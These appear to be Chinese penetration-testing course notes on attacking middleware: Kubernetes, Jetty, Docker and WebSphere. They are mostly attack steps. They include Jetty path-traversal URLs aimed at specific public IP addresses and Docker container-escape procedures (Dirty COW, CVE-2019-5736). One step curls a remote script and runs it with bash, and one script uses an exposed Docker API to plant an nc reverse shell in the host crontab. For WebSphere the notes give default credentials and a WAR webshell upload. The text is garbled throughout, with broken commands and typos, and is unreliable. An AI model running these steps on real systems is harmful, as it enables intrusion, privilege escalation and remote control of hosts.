第61天 服务攻防-中间件安全&CVE复现&K8S&Docker&Jetty&Websphere
知识点:
中间件及框架列表:
lIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins,
GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Sprng,Flask,jQuery
0、中间件-K8s安全
1、中间件Jey安全
2、中间件-Docker安全
3.中间件-WebSphere:安全
章节内容:
常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用框架特定安全漏洞
前置知识:
中间件安全侧试流程:
1、判断中间件信息名称&版本&三方
2、判断仲间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞
应用服务安全测试流程:见图
1、判断服务开放情况端口扫描&组合应用等
2、判断服务类型归属数据库&文件传输&通讯等
3、判断服务利用方式持定漏洞&未授权&弱口令等
演示案例
中间件K8s-搜哈
中间件Jety-搜哈
中间件Docker-搜哈
中间件-WebSphere-搜哈
配合下-Fofa_Viewer-搜哈
中间件-K8s-搜哈
kubernetest简称k8s,是一个由google开源的,用于自动部暑,扩展和管理容器化应用程序的开源系统。在B站内部,k8s在管理生产级容器和应用服务部署已经有较为广泛和成熟的应用。通过kK8$,可跨多台主机进行容器编排、快速按需扩展容器应用及其资源、对应
用实施状况检查、服务发现和负载均衡街等。
https://blog.csdn.net/w1590191166/article/details/122028001
中间件Jetty-搜哈
Elipse Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。
CVE-2021-28164
http://123.58.236.76.63126/%2e/WEB-INF/web.Xxml
CVE-2021-28169
http://123.58.236.76:63126/static?/WEB-INF/web.xml
CVE-2021-34429
http:/123.58.236.76:63126/%u002eWEB-NF/web.xml
中间件-Docker-搜哈
Docker容器是使用沙盒机制,是单独的系统,理论上是很安全的,通过利用某种手段,再结合执行POC或EXP,就可以返回一个宿主机的高权限Shll,并拿到宿主机的root权限,可以直接操作宿主机文件。它从容器中逃了出来,因此我们形象的称为Dockeri逃逸漏洞。
1、容器判断:判断当前是否是容器环境
-是否存在.dockerenv文件
Is -alh /.dockerenv
查间系统进程的cgroup信息:
cat /proc/1/cgroup
2、容器逃逸漏洞:权限提升
-由两核漏洞引起一Dirty C0W(CVE-2016-5195)
-由Docker软件设计引起CVE-2019-5736、CVE-2019-14271,CVE-2020-15257
由配置不当引起一开启privileged(特权模式)+宿主机目录挂载(文件挂载)、功能
(capabilities)机制、sock通信方式
CVE-2016-5195
https://github.com/gebl/dirtycow-docker-vdso
https://www.ichunqiu.com/experiment/catalog?id=100295
第一步、启动容器:
#使用本地1234端口连接docker的1234端口运行dirtycow镜像,并将其临时命名为test
#其中tst:为临时名称,可以自定义填写。p:第一个端口为本机的端口,第二个端口
为Docker的端口。-td:意思是在后台运行,交互式运行,并且输出当前的信息
bin/bash:调用Shel
docker run --name=test-p 1234:1234 -itd dirtycow /bin/bash
第二部、进入容器:
#进入镜像内部
docker exec-it test /bin/bash
第三步、
#编译并运行POC
cd /dirtycow-vdso/
make
/0xdeadbeef
执行操作即可作用宿主机
-CVE-2019-5736
参考:https:///blog.51cto.com/u_15060465/4336524
复现:curl
https://aist_githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o
install.sh &bash install.sh
1、下载POC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
2、修改编译生成payload
CGO ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
2、修改编译生成payload
CGO ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3.将该payload拷贝到docker容器中(此时可以模拟攻击者获取了docker容器权限,在容器
中上传payload进行dockeri逃逸)并执行
docker cp main ecca872da49d:/home
docker exec-it ecca872da49d bash
cd /home/
chmod 777 main
/main
4、再次进入docker镜像后监听即可收到
docker exec-t镜像ID bash
nc -lwvp
3、容器安全漏洞
docker未授权访问漏洞-vulhub-exp.py
import docker
client docker.DockerClient(base_url='http://IP:2375/)
data=client.containers.run(alpine:latest',r"sh-c"echo****usr/bin/nc反弹IP端☐-e
bin/sh'>>/tmp/etc/crontabs/root"",remove=True,volumes=f/etc":(bind':'/tmp/etc',
'mode':'nw)))
中间件-WebSphere-搜哈
WebSphere@Application Server加速交付新应用程序和服务,它可以通过快速交付创新
的应用程序来帮助企业提供丰富的用户体验从基于开放标准的丰富的编程模型中进行选
择,以便更好地协调项目需求与编程模型功能和开发人员技能。
端口:9080一web(http)应用访问端口、9443-web(https)应用访i问端口、9060一管理后台
访问端口、9043一管理控制台安全端口、8880一SOAP连接器端口等等。
漏洞探测在8880满口,后台是9060端口,解析是9080端口
拉取镜像:docker pull iscrosales/websphere7
启动镜像:docker run-d-p9060:9060-p9043:9043-p8880:8880-p9080:9080
iscrosales/websphere7
停止镜像:docker stop $(docker ps-aq)
1、CVE-2015-7450反序列化
工具搜哈:http://147.94.236.117:8880/
2、弱☐令上传拿Shell
-在6x至7.0版本,后台登陆只需要输入admin作为用户标识,无需密码,即可登陆后台。
-websphere/websphere
-system/manager
访i问:http:147.94.236.117:9060/
登录:admin
上传:war马
启动:1_war
连接:http://47.94.236.117:9080/1/1jsp
3、CVE-2020-4450:无利用P0C/EXP